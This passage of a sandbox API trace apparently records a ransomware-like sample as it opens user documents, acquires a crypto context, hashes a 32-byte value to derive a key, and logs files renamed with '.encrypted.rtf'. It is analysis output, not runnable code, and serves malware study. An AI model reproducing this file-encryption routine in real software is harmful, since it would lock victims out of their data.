wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.881] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.881] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.881] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4282) returned 1 [0024.881] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.881] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.881] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.881] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x10ba, lpOverlapped=0x0) returned 1 [0024.882] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x10ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4282) returned 1 [0024.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0024.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\n", cchWideChar=75, lpMultiByteStr=0xe8f406a250, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\n", lpUsedDefaultChar=0x0) returned 75 [0024.882] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a310*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0024.882] CloseHandle (hObject=0x188) returned 1 [0024.884] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.884] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.885] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.885] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.885] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.885] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.885] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.886] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.886] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.886] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.887] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.pptx", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0024.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.pptx", cchWideChar=42, lpMultiByteStr=0xe8f404c010, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.pptx", lpUsedDefaultChar=0x0) returned 42 [0024.888] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\gxvaj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=42, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0024.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=42, lpWideCharStr=0xe8f406a490, cchWideChar=42 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.pptx") returned 42 [0024.889] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.889] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.889] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.889] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.889] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.890] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.890] CloseHandle (hObject=0x188) returned 1 [0024.890] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.890] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.890] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.890] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.891] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.891] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.891] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.891] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.891] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.891] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.891] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.891] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.892] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.892] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.892] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.892] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.892] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.892] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.893] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.893] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.893] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b300, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.893] 